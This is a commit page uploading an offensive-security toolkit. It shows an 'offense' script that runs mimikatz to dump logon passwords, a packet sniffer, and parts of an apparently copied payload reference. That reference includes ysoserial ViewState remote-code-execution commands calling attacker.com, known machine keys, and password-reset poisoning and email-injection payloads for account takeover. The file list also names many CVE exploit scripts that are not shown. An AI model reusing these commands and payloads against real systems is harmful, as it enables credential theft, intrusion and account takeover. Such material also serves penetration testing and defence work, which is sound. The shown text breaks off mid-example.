dia-gov commited on
Commit
5f491f6
·
verified ·
1 Parent(s): 8de4b58

Upload 433 files

Browse files
This view is limited to 50 files because it contains too many changes.   See raw diff
Files changed (50) hide show
  1. network/__pycache__/traffic_analysis.cpython-311.pyc +0 -0
  2. network/traffic_analysis.py +13 -0
  3. offense/__pycache__/privilege_escalation.cpython-311.pyc +0 -0
  4. offense/privilege_escalation.py +10 -0
  5. payloads/API Key Leaks/Files/MachineKeys.txt +0 -0
  6. payloads/API Key Leaks/IIS-Machine-Keys.md +202 -0
  7. payloads/API Key Leaks/README.md +95 -0
  8. payloads/Account Takeover/README.md +187 -0
  9. payloads/Account Takeover/mfa-bypass.md +99 -0
  10. payloads/Business Logic Errors/README.md +91 -0
  11. payloads/CORS Misconfiguration/README.md +283 -0
  12. payloads/CRLF Injection/Files/crlfinjection.txt +17 -0
  13. payloads/CRLF Injection/README.md +159 -0
  14. payloads/CSV Injection/README.md +72 -0
  15. payloads/CVE Exploits/Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py +215 -0
  16. payloads/CVE Exploits/Apache Struts 2 CVE-2017-9805.py +326 -0
  17. payloads/CVE Exploits/Apache Struts 2 CVE-2018-11776.py +231 -0
  18. payloads/CVE Exploits/Citrix CVE-2019-19781.py +51 -0
  19. payloads/CVE Exploits/Docker API RCE.py +49 -0
  20. payloads/CVE Exploits/Drupalgeddon2 CVE-2018-7600.rb +308 -0
  21. payloads/CVE Exploits/Heartbleed CVE-2014-0160.py +216 -0
  22. payloads/CVE Exploits/JBoss CVE-2015-7501.py +62 -0
  23. payloads/CVE Exploits/Jenkins CVE-2015-8103.py +88 -0
  24. payloads/CVE Exploits/Jenkins CVE-2016-0792.py +84 -0
  25. payloads/CVE Exploits/Jenkins Groovy Console.py +32 -0
  26. payloads/CVE Exploits/Log4Shell.md +105 -0
  27. payloads/CVE Exploits/README.md +92 -0
  28. payloads/CVE Exploits/Rails CVE-2019-5420.rb +156 -0
  29. payloads/CVE Exploits/Shellshock CVE-2014-6271.py +36 -0
  30. payloads/CVE Exploits/Telerik CVE-2017-9248.py +362 -0
  31. payloads/CVE Exploits/Telerik CVE-2019-18935.py +140 -0
  32. payloads/CVE Exploits/Tomcat CVE-2017-12617.py +239 -0
  33. payloads/CVE Exploits/WebLogic CVE-2016-3510.py +72 -0
  34. payloads/CVE Exploits/WebLogic CVE-2017-10271.py +63 -0
  35. payloads/CVE Exploits/WebLogic CVE-2018-2894.py +128 -0
  36. payloads/CVE Exploits/WebSphere CVE-2015-7450.py +80 -0
  37. payloads/CVE Exploits/vBulletin RCE 5.0.0 - 5.5.4.sh +1 -0
  38. payloads/Clickjacking/README.md +260 -0
  39. payloads/Client Side Path Traversal/README.md +79 -0
  40. payloads/Command Injection/Intruder/command-execution-unix.txt +83 -0
  41. payloads/Command Injection/Intruder/command_exec.txt +448 -0
  42. payloads/Command Injection/README.md +460 -0
  43. payloads/Cross-Site Request Forgery/Images/CSRF-CheatSheet.png +0 -0
  44. payloads/Cross-Site Request Forgery/README.md +174 -0
  45. payloads/DNS Rebinding/README.md +101 -0
  46. payloads/DOM Clobbering/README.md +141 -0
  47. payloads/Denial of Service/README.md +97 -0
  48. payloads/Dependency Confusion/README.md +42 -0
  49. payloads/Directory Traversal/Intruder/deep_traversal.txt +887 -0
  50. payloads/Directory Traversal/Intruder/directory_traversal.txt +140 -0
network/__pycache__/traffic_analysis.cpython-311.pyc ADDED
Binary file (1.06 kB). View file
 
network/traffic_analysis.py ADDED
@@ -0,0 +1,13 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+
2
+ from scapy.all import sniff, IP, TCP, UDP
3
+
4
+ def analyze_packet(packet):
5
+ if IP in packet:
6
+ ip_src = packet[IP].src
7
+ ip_dst = packet[IP].dst
8
+ if TCP in packet or UDP in packet:
9
+ print(f"Packet: {ip_src} -> {ip_dst}")
10
+
11
+ def start_sniffing():
12
+ print("Starting network traffic analysis...")
13
+ sniff(prn=analyze_packet, filter="ip", store=0)
offense/__pycache__/privilege_escalation.cpython-311.pyc ADDED
Binary file (802 Bytes). View file
 
offense/privilege_escalation.py ADDED
@@ -0,0 +1,10 @@
 
 
 
 
 
 
 
 
 
 
 
1
+
2
+ import subprocess
3
+
4
+ def privilege_escalation():
5
+ print("Attempting privilege escalation...")
6
+ try:
7
+ command = "mimikatz.exe privilege::debug sekurlsa::logonpasswords"
8
+ subprocess.run(command, shell=True)
9
+ except Exception as e:
10
+ print(f"Privilege escalation failed: {e}")
payloads/API Key Leaks/Files/MachineKeys.txt ADDED
The diff for this file is too large to render. See raw diff
 
payloads/API Key Leaks/IIS-Machine-Keys.md ADDED
@@ -0,0 +1,202 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # IIS Machine Keys
2
+
3
+ > That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.
4
+
5
+ ## Summary
6
+
7
+ * [Viewstate Format](#viewstate-format)
8
+ * [Machine Key Format And Locations](#machine-key-format-and-locations)
9
+ * [Identify Known Machine Key](#identify-known-machine-key)
10
+ * [Decode ViewState](#decode-viewstate)
11
+ * [Generate ViewState For RCE](#generate-viewstate-for-rce)
12
+ * [MAC Is Not Enabled](#mac-is-not-enabled)
13
+ * [MAC Is Enabled And Encryption Is Disabled](#mac-is-enabled-and-encryption-is-disabled)
14
+ * [MAC Is Enabled And Encryption Is Enabled](#mac-is-enabled-and-encryption-is-enabled)
15
+ * [Edit Cookies With The Machine Key](#edit-cookies-with-the-machine-key)
16
+ * [References](#references)
17
+
18
+
19
+ ## Viewstate Format
20
+
21
+ ViewState in IIS is a technique used to retain the state of web controls between postbacks in ASP.NET applications. It stores data in a hidden field on the page, allowing the page to maintain user input and other state information.
22
+
23
+ | Format | Properties |
24
+ | --- | --- |
25
+ | Base64 | `EnableViewStateMac=False`, `ViewStateEncryptionMode=False` |
26
+ | Base64 + MAC | `EnableViewStateMac=True` |
27
+ | Base64 + Encrypted | `ViewStateEncryptionMode=True` |
28
+
29
+ By default until Sept 2014, the `enableViewStateMac` property was to set to `False`.
30
+ Usually unencrypted viewstate are starting with the string `/wEP`.
31
+
32
+
33
+ ## Machine Key Format And Locations
34
+
35
+ A machineKey in IIS is a configuration element in ASP.NET that specifies cryptographic keys and algorithms used for encrypting and validating data, such as view state and forms authentication tokens. It ensures consistency and security across web applications, especially in web farm environments.
36
+
37
+ The format of a machineKey is the following.
38
+
39
+ ```xml
40
+ <machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 (default) | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto (default) | DES | 3DES | AES | alg:algorithm_name]" />
41
+ ```
42
+
43
+ The `validationKey` attribute specifies a hexadecimal string used to validate data, ensuring it hasn't been tampered with.
44
+
45
+ The `decryptionKey` attribute provides a hexadecimal string used to encrypt and decrypt sensitive data.
46
+
47
+ The `validation` attribute defines the algorithm used for data validation, with options like SHA1, MD5, 3DES, AES, and HMACSHA256, among others.
48
+
49
+ The `decryption` attribute specifies the encryption algorithm, with options like Auto, DES, 3DES, and AES, or you can specify a custom algorithm using alg:algorithm_name.
50
+
51
+ The following example of a machineKey is from Microsoft documentation (https://docs.microsoft.com/en-us/iis/troubleshoot/security-issues/troubleshooting-forms-authentication).
52
+
53
+ ```xml
54
+ <machineKey validationKey="87AC8F432C8DB844A4EFD024301AC1AB5808BEE9D1870689B63794D33EE3B55CDB315BB480721A107187561F388C6BEF5B623BF31E2E725FC3F3F71A32BA5DFC" decryptionKey="E001A307CCC8B1ADEA2C55B1246CDCFE8579576997FF92E7" validation="SHA1" />
55
+ ```
56
+
57
+ Common locations of **web.config** / **machine.config**
58
+
59
+ * 32-bits
60
+ * `C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\machine.config`
61
+ * `C:\Windows\Microsoft.NET\Framework\v4.0.30319\config\machine.config`
62
+ * 64-bits
63
+ * `C:\Windows\Microsoft.NET\Framework64\v4.0.30319\config\machine.config`
64
+ * `C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\machine.config`
65
+ * in the registry when **AutoGenerate** is enabled (extract with https://gist.github.com/irsdl/36e78f62b98f879ba36f72ce4fda73ab)
66
+ * `HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\4.0.30319.0\AutoGenKeyV4`
67
+ * `HKEY_CURRENT_USER\Software\Microsoft\ASP.NET\2.0.50727.0\AutoGenKey`
68
+
69
+
70
+ ## Identify Known Machine Key
71
+
72
+ Try multiple machine keys from known products, Microsoft documentation, or other part of the Internet.
73
+
74
+ * [isclayton/viewstalker](https://github.com/isclayton/viewstalker)
75
+
76
+ ```powershell
77
+ ./viewstalker --viewstate /wEPD...TYQ== -m 3E92B2D6 -M ./MachineKeys2.txt
78
+ ____ ____.__ __ .__ __
79
+ \ \ / /|__| ______ _ _________/ |______ | | | | __ ___________
80
+ \ Y / | |/ __ \ \/ \/ / ___/\ __\__ \ | | | |/ // __ \_ __ \
81
+ \ / | \ ___/\ /\___ \ | | / __ \| |_| <\ ___/| | \/
82
+ \___/ |__|\___ >\/\_//____ > |__| (____ /____/__|_ \\___ >__|
83
+ \/ \/ \/ \/ \/
84
+
85
+ KEY FOUND!!!
86
+ Host:
87
+ Validation Key: XXXXX,XXXXX
88
+ ```
89
+
90
+ * [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets)
91
+
92
+ ```ps1
93
+ python examples/blacklist3r.py --viewstate /wEPDwUK...j81TYQ== --generator 3E92B2D6
94
+ Matching MachineKeys found!
95
+ validationKey: C50B3C89CB21F4F1422FF158A5B42D0E8DB8CB5CDA1742572A487D9401E3400267682B202B746511891C1BAF47F8D25C07F6C39A104696DB51F17C529AD3CABE validationAlgo: SHA1
96
+ ```
97
+
98
+ * [NotSoSecure/Blacklist3r](https://github.com/NotSoSecure/Blacklist3r)
99
+
100
+ ```powershell
101
+ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy
102
+ ```
103
+
104
+ * [0xacb/viewgen](https://github.com/0xacb/viewgen)
105
+
106
+ ```powershell
107
+ $ viewgen --guess "/wEPDwUKMTYyOD...WRkuVmqYhhtcnJl6Nfet5ERqNHMADI="
108
+ [+] ViewState is not encrypted
109
+ [+] Signature algorithm: SHA1
110
+ ```
111
+
112
+ List of interesting machine keys to use:
113
+
114
+ * [NotSoSecure/Blacklist3r/MachineKeys.txt](https://github.com/NotSoSecure/Blacklist3r/raw/f10304bc90efaca56676362a981d93cc312d9087/MachineKey/AspDotNetWrapper/AspDotNetWrapper/Resource/MachineKeys.txt)
115
+ * [isclayton/viewstalker/MachineKeys2.txt](https://raw.githubusercontent.com/isclayton/viewstalker/main/MachineKeys2.txt)
116
+ * [blacklanternsecurity/badsecrets/aspnet_machinekeys.txt](https://raw.githubusercontent.com/blacklanternsecurity/badsecrets/dev/badsecrets/resources/aspnet_machinekeys.txt)
117
+
118
+
119
+ ## Decode ViewState
120
+
121
+ * [BApp Store > ViewState Editor](https://portswigger.net/bappstore/ba17d9fb487448b48368c22cb70048dc) - ViewState Editor is an extension that allows you to view and edit the structure and contents of V1.1 and V2.0 ASP view state data.
122
+ * [0xacb/viewgen](https://github.com/0xacb/viewgen)
123
+ ```powershell
124
+ $ viewgen --decode --check --webconfig web.config --modifier CA0B0334 "zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmtOit2HY314LI8ypNOJuaLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjraDueY="
125
+ ```
126
+
127
+
128
+ ## Generate ViewState For RCE
129
+
130
+ First you need to decode the Viewstate to know if the MAC and the encryption are enabled.
131
+
132
+ **Requirements**
133
+
134
+ * `__VIEWSTATE`
135
+ * `__VIEWSTATEGENERATOR`
136
+
137
+
138
+ ### MAC Is Not Enabled
139
+
140
+ ```ps1
141
+ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName"
142
+ ```
143
+
144
+
145
+ ### MAC Is Enabled And Encryption Is Disabled
146
+
147
+ * Find the machine key (validationkey) using `badsecrets`, `viewstalker`, `AspDotNetWrapper.exe` or `viewgen`
148
+ ```ps1
149
+ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --purpose=viewstate --valalgo=sha1 --decalgo=aes --modifier=CA0B0334 --macdecode --legacy
150
+ # --modifier = `__VIEWSTATEGENERATOR` parameter value
151
+ # --encrypteddata = `__VIEWSTATE` parameter value of the target application
152
+ ```
153
+
154
+ * Then generate a ViewState using [pwntester/ysoserial.net](https://github.com/pwntester/ysoserial.net), both `TextFormattingRunProperties` and `TypeConfuseDelegate` gadgets can be used.
155
+ ```ps1
156
+ .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
157
+ .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "powershell.exe -c nslookup http://attacker.com" --generator=3E92B2D6 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
158
+
159
+ # --generator = `__VIEWSTATEGENERATOR` parameter value
160
+ # --validationkey = validation key from the previous command
161
+ ```
162
+
163
+
164
+ ### MAC Is Enabled And Encryption Is Enabled
165
+
166
+ Default validation algorithm is `HMACSHA256` and the default decryption algorithm is `AES`.
167
+
168
+ If the `__VIEWSTATEGENERATOR` is missing but the application uses .NET Framework version 4.0 or below, you can use the root of the app (e.g: `--apppath="/testaspx/"`).
169
+
170
+ * **.NET Framework < 4.5**, ASP.NET always accepts an unencrypted `__VIEWSTATE` if you remove the `__VIEWSTATEENCRYPTED` parameter from the request
171
+ ```ps1
172
+ .\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
173
+ ```
174
+
175
+ * **.NET Framework > 4.5**, the machineKey has the property: `compatibilityMode="Framework45"`
176
+ ```ps1
177
+ .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
178
+ ```
179
+
180
+
181
+ ## Edit Cookies With The Machine Key
182
+
183
+ If you have the `machineKey` but the viewstate is disabled.
184
+
185
+ ASP.net Forms Authentication Cookies : https://github.com/liquidsec/aspnetCryptTools
186
+
187
+ ```powershell
188
+ # decrypt cookie
189
+ $ AspDotNetWrapper.exe --keypath C:\MachineKey.txt --cookie XXXXXXX_XXXXX-XXXXX --decrypt --purpose=owin.cookie --valalgo=hmacsha512 --decalgo=aes
190
+
191
+ # encrypt cookie (edit Decrypted.txt)
192
+ $ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
193
+ ```
194
+
195
+
196
+ ## References
197
+
198
+ * [Deep Dive into .NET ViewState Deserialization and Its Exploitation - Swapneil Kumar Dash - October 22, 2019](https://swapneildash.medium.com/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
199
+ * [Exploiting Deserialisation in ASP.NET via ViewState - Soroush Dalili - April 23, 2019](https://soroush.me/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
200
+ * [Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net - Claranet - June 13, 2019](https://www.claranet.com/us/blog/2019-06-13-exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserialnet)
201
+ * [Project Blacklist3r - @notsosecure - November 23, 2018](https://www.notsosecure.com/project-blacklist3r/)
202
+ * [View State, The Unpatchable IIS Forever Day Being Actively Exploited - Zeroed - July 21, 2024](https://zeroed.tech/blog/viewstate-the-unpatchable-iis-forever-day-being-actively-exploited/)
payloads/API Key Leaks/README.md ADDED
@@ -0,0 +1,95 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # API Key and Token Leaks
2
+
3
+ > API keys and tokens are forms of authentication commonly used to manage permissions and access to both public and private services. Leaking these sensitive pieces of data can lead to unauthorized access, compromised security, and potential data breaches.
4
+
5
+ ## Summary
6
+
7
+ - [Tools](#tools)
8
+ - [Methodology](#exploit)
9
+ - [Common Causes of Leaks](#common-causes-of-leaks)
10
+ - [Validate The API Key](#validate-the-api-key)
11
+ - [References](#references)
12
+
13
+
14
+ ## Tools
15
+
16
+ - [aquasecurity/trivy](https://github.com/aquasecurity/trivy) - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets
17
+ - [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets) - A library for detecting known or weak secrets on across many platforms
18
+ - [d0ge/sign-saboteur](https://github.com/d0ge/sign-saboteur) - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens
19
+ - [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.
20
+ - [momenbasel/KeyFinder](https://github.com/momenbasel/KeyFinder) - is a tool that let you find keys while surfing the web
21
+ - [streaak/keyhacks](https://github.com/streaak/keyhacks) - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid
22
+ - [trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) - Find credentials all over the place
23
+ - [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - Use these templates to test an API token against many API service endpoints
24
+ ```powershell
25
+ nuclei -t token-spray/ -var token=token_list.txt
26
+ ```
27
+
28
+
29
+ ## Methodology
30
+
31
+ * **API Keys**: Unique identifiers used to authenticate requests associated with your project or application.
32
+ * **Tokens**: Security tokens (like OAuth tokens) that grant access to protected resources.
33
+
34
+ ### Common Causes of Leaks
35
+
36
+ * **Hardcoding in Source Code**: Developers may unintentionally leave API keys or tokens directly in the source code.
37
+
38
+ ```py
39
+ # Example of hardcoded API key
40
+ api_key = "1234567890abcdef"
41
+ ```
42
+
43
+ * **Public Repositories**: Accidentally committing sensitive keys and tokens to publicly accessible version control systems like GitHub.
44
+
45
+ ```ps1
46
+ ## Scan a Github Organization
47
+ docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --org=trufflesecurity
48
+
49
+ ## Scan a GitHub Repository, its Issues and Pull Requests
50
+ docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments
51
+ ```
52
+
53
+ * **Hardcoding in Docker Images**: API keys and credentials might be hardcoded in Docker images hosted on DockerHub or private registries.
54
+
55
+ ```ps1
56
+ # Scan a Docker image for verified secrets
57
+ docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest docker --image trufflesecurity/secrets
58
+ ```
59
+
60
+ * **Logs and Debug Information**: Keys and tokens might be inadvertently logged or printed during debugging processes.
61
+
62
+ * **Configuration Files**: Including keys and tokens in publicly accessible configuration files (e.g., .env files, config.json, settings.py, or .aws/credentials.).
63
+
64
+
65
+ ### Validate The API Key
66
+
67
+ If assistance is needed in identifying the service that generated the token, [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) can be consulted. It is the largest open-source database for detecting secrets, API keys, passwords, tokens, and more. This database contains regex patterns for various secrets.
68
+
69
+ ```yaml
70
+ patterns:
71
+ - pattern:
72
+ name: AWS API Gateway
73
+ regex: '[0-9a-z]+.execute-api.[0-9a-z._-]+.amazonaws.com'
74
+ confidence: low
75
+ - pattern:
76
+ name: AWS API Key
77
+ regex: AKIA[0-9A-Z]{16}
78
+ confidence: high
79
+ ```
80
+
81
+ Use [streaak/keyhacks](https://github.com/streaak/keyhacks) or read the documentation of the service to find a quick way to verify the validity of an API key.
82
+
83
+ * **Example**: Telegram Bot API Token
84
+
85
+ ```ps1
86
+ curl https://api.telegram.org/bot<TOKEN>/getMe
87
+ ```
88
+
89
+
90
+ ## References
91
+
92
+ * [Finding Hidden API Keys & How to Use Them - Sumit Jain - August 24, 2019](https://web.archive.org/web/20191012175520/https://medium.com/@sumitcfe/finding-hidden-api-keys-how-to-use-them-11b1e5d0f01d)
93
+ * [Introducing SignSaboteur: Forge Signed Web Tokens with Ease - Zakhar Fedotkin - May 22, 2024](https://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease)
94
+ * [Private API Key Leakage Due to Lack of Access Control - yox - August 8, 2018](https://hackerone.com/reports/376060)
95
+ * [Saying Goodbye to My Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)
payloads/Account Takeover/README.md ADDED
@@ -0,0 +1,187 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Account Takeover
2
+
3
+ > Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.
4
+
5
+ ## Summary
6
+
7
+ * [Password Reset Feature](#password-reset-feature)
8
+ * [Password Reset Token Leak via Referrer](#password-reset-token-leak-via-referrer)
9
+ * [Account Takeover Through Password Reset Poisoning](#account-takeover-through-password-reset-poisoning)
10
+ * [Password Reset via Email Parameter](#password-reset-via-email-parameter)
11
+ * [IDOR on API Parameters](#idor-on-api-parameters)
12
+ * [Weak Password Reset Token](#weak-password-reset-token)
13
+ * [Leaking Password Reset Token](#leaking-password-reset-token)
14
+ * [Password Reset via Username Collision](#password-reset-via-username-collision)
15
+ * [Account Takeover Due To Unicode Normalization Issue](#account-takeover-due-to-unicode-normalization-issue)
16
+ * [Account Takeover via Web Vulneralities](#account-takeover-via-web-vulneralities)
17
+ * [Account Takeover via Cross Site Scripting](#account-takeover-via-cross-site-scripting)
18
+ * [Account Takeover via HTTP Request Smuggling](#account-takeover-via-http-request-smuggling)
19
+ * [Account Takeover via CSRF](#account-takeover-via-csrf)
20
+ * [References](#references)
21
+
22
+ ## Password Reset Feature
23
+
24
+ ### Password Reset Token Leak via Referrer
25
+
26
+ 1. Request password reset to your email address
27
+ 2. Click on the password reset link
28
+ 3. Don't change password
29
+ 4. Click any 3rd party websites(eg: Facebook, twitter)
30
+ 5. Intercept the request in Burp Suite proxy
31
+ 6. Check if the referer header is leaking password reset token.
32
+
33
+ ### Account Takeover Through Password Reset Poisoning
34
+
35
+ 1. Intercept the password reset request in Burp Suite
36
+ 2. Add or edit the following headers in Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
37
+ 3. Forward the request with the modified header
38
+
39
+ ```http
40
+ POST https://example.com/reset.php HTTP/1.1
41
+ Accept: */*
42
+ Content-Type: application/json
43
+ Host: attacker.com
44
+ ```
45
+
46
+ 4. Look for a password reset URL based on the *host header* like : `https://attacker.com/reset-password.php?token=TOKEN`
47
+
48
+ ### Password Reset via Email Parameter
49
+
50
+ ```powershell
51
+ # parameter pollution
52
+ email=victim@mail.com&email=hacker@mail.com
53
+
54
+ # array of emails
55
+ {"email":["victim@mail.com","hacker@mail.com"]}
56
+
57
+ # carbon copy
58
+ email=victim@mail.com%0A%0Dcc:hacker@mail.com
59
+ email=victim@mail.com%0A%0Dbcc:hacker@mail.com
60
+
61
+ # separator
62
+ email=victim@mail.com,hacker@mail.com
63
+ email=victim@mail.com%20hacker@mail.com
64
+ email=victim@mail.com|hacker@mail.com
65
+ ```
66
+
67
+ ### IDOR on API Parameters
68
+
69
+ 1. Attacker have to login with their account and go to the **Change password** feature.
70
+ 2. Start the Burp Suite and Intercept the request
71
+ 3. Send it to the repeater tab and edit the parameters : User ID/email
72
+
73
+ ```powershell
74
+ POST /api/changepass
75
+ [...]
76
+ ("form": {"email":"victim@email.com","password":"securepwd"})
77
+ ```
78
+
79
+ ### Weak Password Reset Token
80
+
81
+ The password reset token should be randomly generated and unique every time.
82
+ Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm.
83
+
84
+ * Timestamp
85
+ * UserID
86
+ * Email of User
87
+ * Firstname and Lastname
88
+ * Date of Birth
89
+ * Cryptography
90
+ * Number only
91
+ * Small token sequence (<6 characters between [A-Z,a-z,0-9])
92
+ * Token reuse
93
+ * Token expiration date
94
+
95
+ ### Leaking Password Reset Token
96
+
97
+ 1. Trigger a password reset request using the API/UI for a specific email e.g: <test@mail.com>
98
+ 2. Inspect the server response and check for `resetToken`
99
+ 3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
100
+
101
+ ### Password Reset via Username Collision
102
+
103
+ 1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "`
104
+ 2. Request a password reset with your malicious username.
105
+ 3. Use the token sent to your email and reset the victim password.
106
+ 4. Connect to the victim account with the new password.
107
+
108
+ The platform CTFd was vulnerable to this attack.
109
+ See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
110
+
111
+ ### Account Takeover Due To Unicode Normalization Issue
112
+
113
+ When processing user input involving unicode for case mapping or normalisation, unexcepted behavior can occur.
114
+
115
+ * Victim account: `demo@gmail.com`
116
+ * Attacker account: `demⓞ@gmail.com`
117
+
118
+ [Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character](https://github.com/tomnomnom/hacks/tree/master/unisub).
119
+
120
+ [Unicode pentester cheatsheet](https://gosecure.github.io/unicode-pentester-cheatsheet/) can be used to find list of suitable unicode characters based on platform.
121
+
122
+ ## Account Takeover via Web Vulneralities
123
+
124
+ ### Account Takeover via Cross Site Scripting
125
+
126
+ 1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com`
127
+ 2. Leak the current **sessions cookie**
128
+ 3. Authenticate as the user using the cookie
129
+
130
+ ### Account Takeover via HTTP Request Smuggling
131
+
132
+ Refer to **HTTP Request Smuggling** vulnerability page.
133
+
134
+ 1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE)
135
+
136
+ ```powershell
137
+ git clone https://github.com/defparam/smuggler.git
138
+ cd smuggler
139
+ python3 smuggler.py -h
140
+ ```
141
+
142
+ 2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data:
143
+
144
+ ```powershell
145
+ GET http://something.burpcollaborator.net HTTP/1.1
146
+ X:
147
+ ```
148
+
149
+ 3. Final request could look like the following
150
+
151
+ ```powershell
152
+ GET / HTTP/1.1
153
+ Transfer-Encoding: chunked
154
+ Host: something.com
155
